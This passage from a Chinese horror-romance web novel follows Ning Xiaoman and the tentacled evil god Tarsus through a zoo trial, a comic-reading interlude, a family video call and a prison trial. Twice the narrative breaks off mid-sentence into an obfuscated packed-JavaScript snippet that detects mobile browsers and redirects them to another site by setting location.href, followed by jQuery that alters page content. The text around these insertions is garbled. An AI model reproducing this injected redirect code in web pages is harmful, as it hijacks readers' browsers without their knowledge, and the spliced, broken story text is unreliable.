而宁小满以为注意力被吸引完全没注意他的动作,等视线转回马文已经变瞎了。 他目光落到脚下的头顶上,跺跺脚:“怎么突然出手?” “觊觎满满,没要他命已经是看在满满的面子上了!”塔尔斯愤怒的摇晃着触手。 这人类真是不知所谓!趁着满满看其他地方眼睛都要黏满满身上了! 偷他钱他忍了,怎么?觉得他好脾气准备把他老婆一起偷了? 听塔尔斯这么说,宁小满一愣,他自认不是什么香饽饽,不可能人见人爱,这中间有什么误会也说不定。 “你刚才……” 他话才刚开了个头,马文那边已经不打自招了,“我就是第一次见有人类意识到非人类体生物,一时好奇多看了两眼,才不是因为我是人外控喜欢你!” 啊、这…… 宁小满捏捏凑上来的触手,缓解了一下内心的错愕后,晃晃触手尖示意塔尔斯往一边飞一点,他急需逃离这里来保护自身安全。 赫伯特看着双目流血的马文抽了抽嘴角,他预演中曾经出现过这样的场面,为防再次出现他今天早上还特意提醒了马文一句让他不要看不属于他的东西,没想到到底还是出现了…… 唉~当真是让他不知道说些什么好。 至于要不要帮马文止一下血,那没必要,回到中转站只要留一口气所有致命伤都会瞬间恢复,这点子伤留的血不会要他命,就当给他吃个小教训了。 塔尔斯低头看向趴在触手上观察着所有人的爱人,吃醋的开口:“看什么呢?就那么好看,连回头看我一下都不看!” “塔尔,你是不是偏心了?” “哈?怎么突然问这个?” “明明都是你的能力,为什么我感觉他的能力比你其他能力加一块都强?” 塔尔斯顺着满满手指的方向看向金毛男,抽了抽嘴角回道:“消耗不一样,其他耗命,他那个耗运。” “运?” “嗯,也就是他现实内的国家够强,要不然都受不了他这么折腾。” 这又关现实中国家什么事?宁小满不解,但直觉告诉他塔尔斯能告诉他的也就到这了,再说就又该被那个存在电了。 不远处属于动物们是怨气渐渐成型,多是些小动物,没几只猛兽,宁小满左瞅瞅右瞅瞅,确定了,就是没几只猛兽,地图上说的熊、老虎都没见到,只有几只看上去就病怏怏的狮子。 “怎么只有几只狮子,老虎呢?熊呢?大象呢?” 塔尔斯按住歪来晃去的小团子,“没有,这动物园根本就没有你说的那些个动物。” “那为什么地图上有它们的园区显示?不纯纯欺骗消费者嘛!” “虽然没有真的,但是那些小的能变假啊。” 宁小满张嘴闭嘴,欲言又止半天最终还是问出了口:“那我摸的那些海豹是什么变的?” “猪。” “……把今天发生的事忘了吧。” —— “忘了啥?不是, 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说话间,两人回了中转站,宁小满从塔尔斯头上跳下,落地的瞬间犹如果冻般晃动两下。 “祂为什么生气?” “通关太快了,没有达到祂收割的预期,小心。”塔尔斯正沉浸欣赏爱人走路呢,倏然瞥见他身形不稳迅速滑过去圈住他。 宁小满攀住塔尔斯的触手稳定好身形,拍拍他的脸,“好啦,可以放开我了。” 塔尔斯一个用力将他抱起,“想去哪,我抱你过去。” “床上吧,”说了目的地后,宁小满将注意力转回刚才的话题,“祂的预期,大概是多少啊?” 塔尔斯想了想回道:“你们每个人平均死五十次就差不多了。” “五十……”听到这个数字,宁小满不期然想到了那个心里承受能力差已经疯了的人,逼疯他的死亡次数,恰好就是五十次。 见宁小满眼中似有悲伤,塔尔斯凑上去亲亲他的脸颊,“满满放心,我是不会让满满受到伤害的。” “嗯!我相信塔尔,对了,不是说会奖励打发时间的过期漫画嘛,漫画呢?” “我找找。” 翻箱倒柜半天没找到漫画的塔尔斯:老家伙还挺记仇,不就是在祂眼皮子底下(中转站)蛐蛐了祂一会,连奖励都不给发了,小气,不过不发正好…… 塔尔斯反手从空间内拿出诡异界最新的连载漫画捧到宁小满面前,“找到了,就是这个!” “这个?”宁小满翻看两页,有些错愕道:“你确定?” “确定!” 宁小满:奖励的漫画不仅过期还有空白页,祂好绝…… 还没发放奖励的祂受不了了,就在宁小满惊叹时,几本漫画从天而降,不偏不倚正好砸在塔尔斯头上。 塔尔斯捧着从头上落到触手触手上的漫画跳脚:“该死的老家伙,你给我等着!” “伖有动物园?”宁小满抽走塔尔斯手中的漫画看了一眼封面,“这不是之前那个怪谈的名字……” 41.中转站 “抠门死了,给个线索就只给经历过的怪谈,一丝接下来的线索都舍不得透露,活该祂一辈子守着那点子收入过日子。” 塔尔斯嫌弃的瞥向宁小满手中的漫画,吐槽道:“这玩意,打发时间都嫌浪费时间。” 话不好听,但是实话,更何况被吐槽也不是自己,宁小满不甚在意的笑着附和:“没错,抠门死了,不过祂给都给了,要来一起看看吗?” “既然满满你这么说了,那我就勉强看看祂给的垃圾玩意吧。” 宁小满无奈看向飞奔至身边的塔尔斯,心内腹诽道:说这个是垃圾玩意,那守着它看的他们两个岂不是成了看垃圾的?不是说章鱼有九个脑子嘛,为什么感觉塔尔斯不怎么聪明的样子? 因被喊了名字,将腹诽一字不落听全了的塔尔斯:…… “满满,我来负责翻页,一起看。” “啊哦,好。” 漫画是黑白的,字又下画又密,字的排列顺序还是从右往左来的,一共二十页。 看完花了大概三、四个小时,有点费眼睛,但对伖有动物园这个怪谈也算是更了解了,其他不敢保证,重新闯怪谈,宁小满可以保证在第一天就通关! 就是…… “没想到咱们两个也会被画进去。” 塔尔斯冷哼一声,并不想承认那团马赛克是自己。 见他这样,宁小满哪能不知道他的别扭心理,别看塔尔斯平时大大咧咧好似不在乎自己的外在形象,但从他对自己的认知中就能看出,他自恋! 换句话说,他认为自己完美到无以复加,现在看到自己被画成一团马赛克,能满意才怪了。 不过话说回来,这次的怪谈有漫画本子奖励,之前的有吗?有,没给,还是压根就没有? 宁小满不知道,但他旁边这个总归是知道的,一双琉璃似的眼睛转了转,钓鱼的饵就撒了出去。 “这个能收藏起来吗?我还是第一次被画进漫画中,感觉好有纪念意义。” “哼!这才不是第一本,第一本明明是四口之家那个漫画,它不仅是第一本,里面还记录了怎么两个的相遇,要说纪念意义,它更有好吧?” “真的吗?”宁小满佯装不信的质疑。 塔尔斯抬起触手隔空点了点他的眉心,气呼呼的甩出两本漫画,不仅给了第一个怪谈的连带着第二个怪谈的也给了。 “喏,都在这了,看去吧!” 宁小满捧着两本跟他差不多大的漫画喜滋滋地去一边看去了,独留塔尔斯看着他的背影冷笑。 装,一天天的,就知道在他面前装!也不看看就他那根本不存在的演技能骗的了谁?也就他配合着! 结果呢?拿了东西就走!也不说邀请他一起看,怎么就不想想,没他跟着,凭他那小身板能不能翻动页! 塔尔斯这边刚想完,就听那边开始叫他了,一声叠着一声,他本来不想搭理他,但是吧,叫的实在是甜,他没忍住。 塔尔斯冷着脸帮忙翻了页后,催促道:“赶紧看,我还有事要忙呢,没功夫一直守着帮你翻页。” “什么事呀?”宁小满看着漫画漫不经心地反问。 “不知道。” 听着这又冷又硬的声音,宁小满歪头含笑看向塔尔斯:“生气了?” “没有!”他一个大好邪神会生气?笑话!只有他让别人恐惧的份,哪有…… “好啦,我知道错了,不生气了好不好?” 说着,宁小满抱住塔尔斯偷摸溜过来的触手亲了亲,亲完后感受着触手的瞬间绷直,他眼中是止不住的笑意划过。 “我一个人看漫画好没意思的,你陪着我一起好不好?” 塔尔斯咽了咽口水,脸冷不起来了,缓了好半天才在宁小满期待的目光下从牙缝中挤出一个字:“好。” “之前买的零食吃完了吗?没吃完的话拿出来些吧,我想边看漫画边吃。” “没,拿出来了。” “这页看完了,别僵着了,翻页。” “哦哦,好。” 看着塔尔斯笨拙的反应,宁小满心里面得意点头,漫画诚不欺他,塔尔斯面对他撒娇似的举动真是完全没有抵抗力。 又被爱人在心里面叫了名字的塔尔斯无奈,不知道该不该提醒,想了想又想,最终还是决定不提醒,要不然以后就都听不到了。 看漫画,剧情什么的都是其次,毕竟都是前不久亲身经历过的,现在回看也没什么新鲜感,宁小满主要看的是塔尔斯的一举一动。 四口之家那个怪谈: “马赛克都把我整个人包住了,你晚上抱的到底是有多紧啊?” 塔尔斯心虚不敢吭声,他知道他当初的行为放在人类眼里面是很不能接受的事,被说两句和反驳被翻旧账中,他选择前者,反正被说两句也不会掉块肉。 “嗯,原来当初这诡看我是这种眼神吗?” 宁小满看看塔尔斯再看看漫画,摇了摇头,“这诡的眼神好恶心,比不上你。” “那当然了!我可是最爱满满的邪神!” 看到苏垣后边说的话,“这诡后边是不是还会出现?” “会,”塔尔斯不爽,“下个怪谈就是他的,届时我要把他碾成灰喂小诡。” “下个怪谈是什么?” 塔尔斯想了想回道:“监狱。” “进了监狱的诡异,以后是不是很多活都不能干了?” “那不是,进了监狱的诡异说明他更强悍,出来后许多地方都抢着要。” 这倒是和现实中不一样,再翻一页,不多久这本漫画就看完了。 剩下一本亡海游轮的漫画宁小满不想看,看它做什么,怀念他曾经的“打工”生活吗? 漫画看完了,零食也吃饱了,睡一觉,一天过去了。 在中转站的日子就是这么无聊,但他也不想让塔尔斯带着他出去玩,就这么无聊着,他突然想到在他塔尔斯给他的第一本漫画,翻出打开,里面的空白页发生了变化。 “垣长监狱——这是下个怪谈的名字吗?” 塔尔斯一个翻身滚过来,凑近看了一眼,“是,不过这次怎么这么早就开始更新了,每次不是都要等到怪谈开始后才开始吗?” “你是在问我吗?”宁小满抱住自己,无辜地问道。 “没,就是疑惑。” 塔尔斯翻开下一页,看清楚是什么后宁小满手中抽出狠狠摔到地上,“呸!脏东西。” 宁小满赞同点头,那一看就抹了不少发胶的大背头、那一看就让人觉得粘腻的眼神,那一看…… “这家伙贼心不死,等进去后,满满你听我的,咱们两个先把他干掉!” “好!” 应下后,宁小满不确定的问道:“我只要干掉他一个就行了吧?” 一天五千个的日子,他是真不想过。 “嗯,剩下的交给那些人类。” 明确了目标,宁小满登时就把心刚回了肚子里,悠哉悠哉地躺倒,两条短腿想翘个二郎腿都翘不了,只能在半空中晃着。 打发打发时间,又是一天,吃完塔尔斯亲制的章鱼刺身,看似两人相拥着躺倒进入梦乡,实则只有一个睡了,另一个正摸索着梦境的缝隙准备往里钻。 第三天,又到了一中转站一度的通讯等待时间,吃完早饭宁小满就开始等了。 “你看看我穿这身行吗?会不会显得邋遢?” 塔尔斯扯扯负责压着裙角的宝石,夸道:“不会,好看着呢。” “真的?要不然还是换回刚才那套紫色的吧,感觉那套跟你更搭一些。” 更搭……塔尔斯有被这两个字砸晕到,迷迷糊糊顺着宁小满意思将衣服取出来,又帮着换好,整个就是被蛊惑了的状态。 在两人的等待中,通讯屏幕如期而至,宁小满迫不及待的点到接通,等待王宾部长的快言快语,王宾说完后他就能和爸爸妈妈聊天了。 熟料,这次首先出现的不是王宾的大脸,而是他的父母。 宁小满愣了一下,反应过来后拿手臂压了压裙角,呐呐地喊道:“妈妈、爸爸,怎么、王部长呢?” “他把资料给了我们,让我们供奉给三星,就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126494|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多耗费口舌了。” 真的不是因为知道他说的那些都没用吗?宁小满好悬没快言快语的把内心真实想法吐露出去。 顾宛霜说着掏出马克笔在地上画了个圈,又掏出牌位,当着两人的面就把一叠资料和四个不同表情的小玩偶放了进去。 “先看看,能收到他就来了,不能收到王部长他会再过来的。” 宁小满目瞪口呆的看着之前温柔、不封建的妈妈大搞祭祀之举,嘴角只抽抽,这种行为维持到他们收到东西的那一刻就停止了。 顾宛霜看着对面多出来的东西,对屏幕外的王宾比了个OK的手势,告诉他成功了。 四个玩偶八根触手完全不够分,只能两根触手共享一下,塔尔斯将头放在宁小满头上,哼唧着抱怨:“玩偶太少了,满满你让妈妈再烧几个过来好不好?” “不好,站直身子别动。” “哦。” 宁小满没管塔尔斯快要撅到天上的嘴,轻咳一声,拉着塔尔斯的触手对着对面晃了晃,红着脸郑重其事的介绍道:“妈妈,这是塔尔斯。” 看着自家儿子这样,顾宛霜恍惚间明白了,愣了一会方才点头,“嗯,妈妈知道了。” 得到回应,宁小满转头看向脸上没了笑的宁远舟,深吸一口气再次介绍道:“爸爸,这是塔尔斯。” “……嗯,爸爸知道。” “满满?”塔尔斯不懂为什么这么郑重其事的介绍自己,但他觉得自己该懂。 “以后,你想跟着我叫就跟着我叫吧。” 塔尔斯眼睛猛然瞪大,“可以?” “可以。” 看着自家儿子这一副带了男朋友回来的架势,顾宛霜本来改伤心的,但看着对面的马赛克,不好意思,她是真悲伤不出来。 然而不悲伤归不悲伤,该问的还是要问,“咳,满宝,你真的想好了吗?” “想好了妈妈。” “就真确定是他了?”连个人形都没有,虽说有那个人外控,但她儿子不是……应该不是吧? “确定了。” 两个问题问完顾宛霜没什么想问的了,便用胳膊肘捣了捣宁远舟的胸膛,示意他问。 “满宝,你要知道,这不是开玩笑的事,决定了就是一辈子,不能反悔的,你……” “爸爸,我不会反悔的,你放心好啦!” 宁远舟:我倒也不是那个意思。 然而他真是不知道该说些什么了,只好呐呐点头随儿子去了,“那、满宝在那边过的开心。” “滚一边去!怎么说的跟把满宝嫁出去一样,宁远舟,你生的可是个儿子!” 看着对面内讧的夫妻俩,塔尔斯腻倒在宁小满身上,喉咙内小声叫着:“咕噜~满满,你之前那么紧张,是因为终于决定把我介绍给爸爸妈妈了吗?” “他们本来就知道你。”他只是更正式的介绍了一次。 说话间,半个小时时间悄然而逝,随着半透明光屏消失不见,顾宛霜忍了半个小时的眼泪顿时落了下来。 “之前我还能欺骗自己那些都是网友乱磕的,满宝是被迫的,现在、现在不行了,呜——” 宁远舟慌手慌脚的安慰:“说不定满宝也是被迫的?” “相处那么多年,你看满宝的神色像是被迫的吗?” 宁远舟不说话了,那确实不像是被迫的。 上个怪谈他们看满宝的神色还有纠结之色,现在却只余想开了的轻松之色,也不知道怎么…… 要问宁小满怎么想开了,纯属是看漫画看开了。 他之前担心塔尔斯是在找乐子,把他当乐子,仅仅想和他玩玩感情游戏,是以内心总是纠结来纠结去。 但看漫画后,他就不那么认为了,糊成那样的马赛克都挡不住塔尔斯的对他的痴迷味,怎么可能是玩乐? 宁小满笑眯眯的将自己挂在塔尔斯身上,毫不犹豫地推翻了自己之前的话语,什么小孩子过家家,他们两个才不是呢,他们两个已经成年了,是大人了! 阴差阳错做了一把助攻的祂:……该昧下那本漫画的。 42.垣长监狱——瘟疫都城1 坦白说,不纠结来纠结去后,宁小满觉得自己脸色都好看了不少,虽然他现在这副模样看不太出来脸色有没有变化,但他内心就是莫明笃定。 轻松愉悦的时间总是过的飞快,宁小满看完烧过来的资料又短暂的整合了一下信息就到了睡觉时间。 宁小满抱住一直催他睡觉的塔尔斯蹭了蹭,施施然闭上眼睛,很快就进入了梦乡。 再次醒来,他们两个已经进了怪谈,不同于前三次的怪谈,这次并没有那道声音的介绍,他们莫名其妙就站在了坚硬的水泥地上,还有…… 宁小满垂头看向手腕,还有手上,莫名其妙多出了一副银色手铐。 这次塔尔斯找过来的很快,宁小满不过是打量了两眼四周环境,再一回头身边就多出了一条小章鱼。 他没说什么,只是把戴着手铐的手往前递了递,示意塔尔斯给他打开。 “怎么不让触手直接给你打开?”塔尔斯边说边看了一眼挂在宁小满裙子上变化成宝石装死的某触手。 “还没来得及让它帮忙你就来了。” “哒——哒——哒——” 高筒靴敲在水泥地面上发出一阵响声,瞬间吸引了所有人的注意。 宁小满眯着眼睛抬头,他耳力不错,所以他能肯定声音来源不在四周,而在上面。 在他的注视下,上方由水泥堆砌出的露台上走出一个人,来人一身黑色制服,高筒靴的皮面反射着惨白色的灯光,配上那嘴角若有似无的微笑,就、显得来人挺装的。 “欢迎来到我的怪谈,垣长监狱,在这里,没有规则、没有秩序,一切遵从本心,这里!是欲望的都市,只要你够强——啪啪,出来吧。” 一阵嘶啦声过后,周圈砌出来的露台上多出了许多奇形怪状的诡异,但无一例外,他们的眼睛是红色的,且都在盯着他们流口水。 口水滴到地上发出一阵刺啦声,前后不过两秒,水泥面就被腐蚀出了大坑。 宁小满咽了咽口水,不可置信道,“他的口水,是硫酸做的吗?” “硫酸是什么?” “欢迎礼,希望诸位喜欢,”苏垣笑着后退两步,摆手示意:“上!” 宁小满环顾一圈跳下来的众诡异,握紧手里面的小匕首,“一会再说,先解决他们。” “按之前说的,先杀领头那个。” “好!”宁小满顺着塔尔斯的力跳到他头顶,直朝高处的露台而去。 苏垣看着脱颖而出的宁小满,挑了挑眉,手一挥一把通体黑色的长棍出现在半空中被他握住,“宝贝,你变了好多,之前的人类身体去哪了?” 宁小满不语,只是一味的朝他观察出的薄弱点刺去。 “杀了你,你的人类身体会不会回来?” 苏垣反手几次挡下那小小的武器,感受着诡力凝结的长棍越来越虚弱,内心讶异,表面却是云淡风轻,“你之前的长棍呢?怎么不用,是害怕被说咱们两个用的是情侣款吗?” “你坐着的这个诡异看上去也不怎么样,不如弃了他转投我吧,跟着我,我保你这半个月的安生怎么样?” “你啰嗦了,还有,他很好。” 被说那么久,塔尔斯觉得再忍下去他就能换个本相原形了,深吸一口气开辟出一个异空间将头上的爱人塞进去,触手拍了拍他的头叮嘱道:“满满,接下来我可能要离开三天,但你放心,下个怪谈开始前我一定回来。” 说完不等宁小满反应过来塔尔斯就合并了异空间,变大迎上了攻过来的苏垣。 一触手,苏垣整个人倒飞出去,身形来回变换,最终维持在了半人半诡的状态,“咳咳,你不该出现也不该扰乱运行……” 话没说完,苏垣便感觉位于小腹处的本源核心一疼,他低头,一根触手贯穿了他的小腹,像是察觉到了他的视线般,触手来回搅动两下,带着他的核心和血肉从小腹处抽了出去。 后知后觉的,苏垣感觉到了眼睛的刺痛,失去本源核心他撑不了多久,但…… “你是4S级……” 塔尔斯伸手将他拍成飞灰,触手尖卷起包裹着小团子的异空间,几下下去就将整个怪谈内的诡异灭了个尽。 在祂的无能狂怒下,所以天选者都收到了通关的提醒。 塔尔斯低头抵住包裹住宁小满的异空间,从爱人小小的眼睛的眼睛中看清了自己的倒影,“中转站只能你一个人待了,乖,等我下个怪谈……” 离开不到一个小时又回来了,不过这次回来的只有他自己罢了,宁小满呆呆的坐在地上回不过神,满脑子都是塔尔斯直接出手好不好受到惩罚。 ——(网友论坛般) “卧槽、卧槽!35分钟结束一个怪谈,这是什么概念!什么概念!就是只要三星想,他半天就能通关全部怪谈啊!” “多了多了,一个小时就能通关,别忘了之前都是满宝在打,三星出手的时间就占了一分钟而已。” “照你这么说,一个小时都多了,十分钟差不多。” “啥?十分钟,三星这么快的吗?” “不知道为啥,我总感觉楼上你跟我们讨论的快不是一个快。” “嗨呀,一样的啦一样的啦。” “不过这次真是捡大漏,天选者们无痛通关。” “是嘞是嘞。” “有一说一,我感觉祂应该后悔早开团体怪谈了,嘿嘿。” —— 祂岂止是后悔早开团体怪谈,他现在都后悔十九年前把塔尔斯捞回来! 看着被雷劈还一副死性不改模样的塔尔斯,数万年未曾有过情绪波动的祂就觉得心口一阵无名火起。 塔尔斯无畏无惧的看着祂,心里面倒数着数字,终于,数字清零,他——溜了。 望着空空如也的位置、感受着远处强烈的神力波动,祂闭眼,连夜修改接下来的几个怪谈,塔尔斯不改祂改行了吧! 宁小满无力的瘫在猫窝内,整个人都陷入了一种前所未有的迷茫中,他知道他这种状态不对,他应该调整心态安心等塔尔斯回来,但说到底,心态要是那么好调整世界上就不会有因为心理因素而跳楼的人了。 三天时间一晃而过,期间通讯时宁小满也是这么一副模样,看的顾宛霜和宁远舟又是心疼又是无奈,心疼他这样又无奈他被他们养成这样不经事的性格。 新的怪谈开启,宁小满站在偌大的房间内左看右看寻找塔尔斯的身影,而塔尔斯本人则是被拦在了怪谈开启的屏障外。 塔尔斯一头黑色长发四散飞舞,抱紧爱人的身体,狭长的眼眸紧盯着两米外的屏障,淡然开口:“你要拦我?” “你不该进去,回吧,莫要再扰乱进程。” “你拦不住我。” 塔尔斯意念一动,身后分开一道裂缝,数之不尽的触手从中蔓延出来,在他的示意下一下一下捶打着祂布置下的屏障。 五下过后,屏障出现裂纹,天色暗了下来,层层乌云遮蔽中隐有雷电蜿蜒。 “你已将团体改为单人,又何须怕我?” 没有回应,塔尔斯也不在意,继续指挥触手动作,十下过后,屏障裂开一道三人宽的口子,塔尔斯抱着爱人的身体施施然从裂缝中通过。 普一进入塔尔斯就发现了不对劲,“瘟疫……” 不对,不该是瘟疫的,这个怪谈应该下一个才对! 塔尔斯垂眸看向脚下略显渺小的世界,探查、锁定不过瞬息就来到了宁小满所处的房子……门外。 他自然是能直接进去的,但人形首次见面,还是来点仪式感的好。 “咚咚咚——咚咚——咚咚咚——” 敲门声催命般响起时宁小满正在犄角旮旯处找塔尔斯,听见敲门声心下叹气,并不打算搭理。 谁知自上个怪谈结束就开始装死的触手突然动了,变大卷起他就朝门口跑。 宁小满手被触手尖放到门把手上,不确定地问道:“你让我开门?” 触手尖上下晃动着点头:嗯嗯,快开吧,开了就不用钻床底了。 “你认识外边敲门的诡异?” 诡异?触手歪尖思考,不是诡异,是本体,但说到认识不认识,那肯定是认识的,是以小狗点头。 “开门会有危险吗?” 触手尖左右摇晃,是没有的意思。 见状,宁小满深吸一口气按下门把手,大门打开,映入眼帘的是一片黑色的布料,顺着布料往上看去,是一张格外苍白到阴郁的脸,配着那双和塔尔斯身体一样深紫色的眼睛略显…… “塔尔?” 塔尔斯没想到这么快被认出来,嘴角下意识勾起,“是我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宁小满勾头看向自己的身体,随口问道:“长什么样?” “很丑。” 塔尔斯捏着宁小满将他放到他的身体上,戳了戳他的身体,佯装嫌弃道:“小脏鬼,几天没换衣服了?” 宁小满低头看自己身上的裙子,还是上个怪谈时穿着的那件,没塔尔斯跟着,他在中转站干什么都提不起劲,除了必要的活动,压根就没想起来换衣服。 现下身上的衣服经过三天时间的洗礼外加刚才爬高下低的折腾,左黑一块右黑一块,已经完全不能看了。 意识到自己现在在塔尔斯眼中是什么形象后,宁小满从头红到了脚,张口磕磕巴巴的狡辩道:“也、也没几天。” 没几个字,却越说越没有底气。 塔尔斯轻笑一声,从空间中掏出一套桃粉色裙子,“过来,我帮你换。” 宁小满目光游移着落到塔尔斯脸上,好半天才磨蹭着走过去,“你之前说……” “什么?” “说要和我一起穿裙子的。”宁小满呐呐道。 塔尔斯帮忙换衣服的手一顿,没想到这一茬还会被提起,但没关系,难不倒他。 帮忙换好衣服后,塔尔斯抬手在空中捻把两下,一个跟他之前长的一模一样的小章鱼凭空出现。 “以后、它陪你一起穿裙子。” “它是?” 一个普通的小章鱼?宁小满抬头看看塔尔斯再偏头看看跟他一样大小的章鱼。 “我的附属意识。” 宁小满恍然,那不就是和一直跟在他身边的那个差不多的存在嘛,不过…… “你这样真的好吗?” “嗯?”塔尔斯不解挑眉。 “咱们两个认识还没多久,你已经送给我两个附属意识了,就不怕哪天把所有附属意识全部送出去?” 塔尔斯平铺直叙道:“我是你的,他们也是你的,称不上送,而且相比于跟着我,它们更乐意跟着你。” 一记直球打的宁小满是脸红心跳,对了,心跳! 为什么会有心跳?他现在这个泥捏的身子是没有心的啊—— “满满跟自己的身体共感了。” “共感?”这不是只存在于小说中的描述…… “唔,别捏。” 塔尔斯停下揉捏宁小满脸颊的手,改为轻轻摩擦他的喉结,“这样……可以吗?” 43.瘟疫都城2 宁小满闭着眼睛大呵一声:“停!” 塔尔斯依言停下,“停了,然后?” “我要回我的身体!” “一个月……” 宁小满不吃他这一套,“你分身不行才需要等一个月,本体总不能也不行?” 这略带怀疑的语气……塔尔斯垂眸轻叹,他承认他又被刺激到。 手指微动,一道幻象将出未出,他又轰然改变了主意,直播间被迫关停。 面对这似曾相识的画面,兔国人个个看着黑屏的手机面面相觑。 “不后悔?” 宁小满不解歪头,“我回到我自己的身体后悔什么?” 见他没懂,塔尔斯也不多提,两根手指捏着团子身体的后脖颈放到人体眉心处,一呼一吸间原来安稳放在他腿上的身体被触手裹挟着飘到半空中。 虚空现出触手本相,是比之世界上最巍峨的山也毫不逊色的存在,小小的身体在本相面前小的犹如一只蚂蚁,可却偏偏牵动着本相的一举一动。 灵魂被从暂时的躯体中牵引而出,半阖目的灵魂有种悲悯的感觉,那是塔尔斯穷极一生也不会在身上体现出的气质。 身体与灵魂相契,触手本相消失。 塔尔斯接住缓缓下落的爱人,斜着看了一眼趴在桌上装死的触手,冷声道:“滚。” 触手跳起搞怪的敬了个礼:得令! 没了碍眼的存在,塔尔斯抱着爱人信步走向地理位置最好的房间,房间内的布置中规中矩,念及是只停留一个月的居所暂且还能接受。 只是…… 塔尔斯嫌弃的看着不知道多少人用过床单,在脑海内把刚才赶走的触手叫回来,扔给它一套新的床具,“换。” 触手:好嘞好嘞,稍等。 一分钟后,触手再次被赶出房间。 塔尔斯将爱人平放在床上,自己则侧躺在他身边,眼睛一错不错的盯着沉睡中的面孔。 突然,塔尔斯想到什么,抬手虚虚悬在爱人的鼻根上方,“我赋你与我共享的权利。” 话落,一道淡紫色的光从他指尖滑落,落在滑嫩的肌肤上顺间消融不见。 星移又日升,翌日,宁小满缓缓睁开眼睛,望着头顶从窗户处投射进来的太阳光晃神。 周围很安静,安静到他完全忘记自己所处的是怎样一个危险世界,恍惚间这段时间发生的一切都是他的一场梦。 但恍惚的同时他清晰的知道这不是梦,因为、他的眼睛。 宁小满抬手想要触摸阳光,半道却被另一只苍白的手截住,他转头,是一张乍一看充满邪气仔细看更加邪气的脸。 迎着他仔细端详的目光,塔尔斯好笑地挑了挑眉,“怎么,不认识我了?” 宁小满点点头又摇摇头,最后干脆放弃了用行动来表达自己的意思,开口唤道:“塔尔。” “我在。” “我睡了多久?” “一天一夜,现在是第二天的早晨。” 宁小满点点头,思维跳跃突然道:“你人形多高?” “二米一,”塔尔斯握着宁小满的手放到脸上蹭蹭,“满满觉得矮的话,还可以再高。” “能压缩吗?” “……不能。”他觉得邪神的人形,最低也就两米一了,再低、他无法想象。 塔尔斯说不能宁小满也不强求,只小声“哦”了一声,“不能就算了,我饿了。” “我先点外卖,然后抱你去洗漱?” “可以。” 话音落地宁小满就沉默了,这什么老夫老妻的对话,初初面对塔尔斯的人形他不应该害怕的么,这对话到底怎么回事? “好了,过来。” 宁小满从自己的思绪中抽回神,只见塔尔斯正站在床边低眼看着他,宁小满眨眨眼,只觉塔尔斯眼中神色莫明。 有些生疏地控制着阔别已久的身体慢吞吞坐起身,挪到床边在床上站起身抱住塔尔斯的脖子依赖的靠过去……靠过去…… 这又是什么身体反应?宁小满不解。 塔尔斯手刚碰到爱人的屁股就被一巴掌拍了下去,顺带着到了怀里的人也没了。 “我想了想,还是我自己去洗漱吧。” “我来。” “我有点重。” “不重,我来。” 宁小满沉默两秒抬头望天,徐徐道:“有直播。” “关了。” 宁小满错愕的瞪大眼睛,“什么时候?” “昨天。” 他的借口、不是,他的……唉,这都什么事啊! 塔尔斯抱住宁小满的腰将人拖到面前,单手托住他的屁股将人抱起,转身朝浴室走去。 宁小满条件反射抱住他的脖子,“不要突然抱我!” “满满,你对我有点凶。” “我,凶?” “你之前对我不是这个态度的。” 宁小满回想了一下之前,那啥、好像确实不一样,但…… “你这是因为你长的和之前不一样了啊!” “本相你受不了,张嘴。” 宁小满张开嘴任由塔尔斯拿着牙刷帮他刷牙,拧眉思索他的前半句,本相他受不了、受不了……等等,这是句黄话对吧? 看着反应过来对他怒目而视的满满,塔尔斯轻笑一声,怎么就那么笨呢,连个话的含义都要考虑半天。 “张嘴,喝水,记得吐。” “咕噜噜……噗……不用你说!我知道不能喝!” 塔尔斯含笑歪头,“真的?” “真的!我智商没问题!” “好好好,没问题,闭眼低头,洗脸了。” 宁小满依言闭眼低头,发尖扫过鼻尖倏然道:“头发好像有点长了。” “不长,正好。” 塔尔斯说完变出一根触手将有些长的头发在后边束好,手试探着水温,差不多了掬一把水抬起。 洗完脸后,宁小满晃荡着腿要下去,“我要自己走,你放我下去。” “你是谁?” “塔尔,塔尔放我下去。” “塔尔不放,想去哪直接说。” 两人僵持片刻,宁小满矮下身子把头搁在塔尔斯肩窝,颇有些郁闷的道:“我是一个有思想的人,你不能把我当随你摆弄的玩偶,你这样我是会讨厌你的。” “讨厌到之前的喜欢都不作数吗?” “讨厌是讨厌,喜欢是喜欢,”宁小满顿了顿又道:“要不然,你回去吧,让小章鱼来……” “满满,我也是小章鱼。” 宁小满抽搐着嘴角将头狠狠压下,两米一的大男人语气淡淡的说自己也是小章鱼,够了,真是够了,求你赶紧照照镜子找找适合自己的赛道吧! “满满~” 宁小满猛地炸起捂住塔尔斯的嘴:“别!算我求你,别夹着嗓子说话!” 深觉待遇赶不上之前的塔尔斯忧伤地抱着爱人去了客厅,客厅比之昨天看上去干净了不少,至于为什么干净…… 宁小满目光从扫过待着清洁帽的小章鱼和单只触手上划过,是谁干的不言而喻。 他抬手拍拍塔尔斯的肩膀,指着打扫卫生的小章鱼说了声:“要。” “小五。” 竖着耳朵早就听到爱人说什么的小五一扔扫把,咕噜咕噜叫着扑到了……塔尔斯脸上。 这一突发情况是谁都‘没’想到的,塔尔斯黑着脸用空着的手将脸上的章鱼捏着脑袋扯下来,就要用力捏碎这具他塑造出来的躯体换个意识。 突然,手上一空,塔尔斯偏头看向把小章鱼护在怀里的爱人,身上气息波动,两人周身的空间不断坍塌又重组,约莫四、五分钟才把心口的郁气消化完。 “满满,把它给我。” “你之前把它送给我了,它就是我的,你不能越过我处置它。” 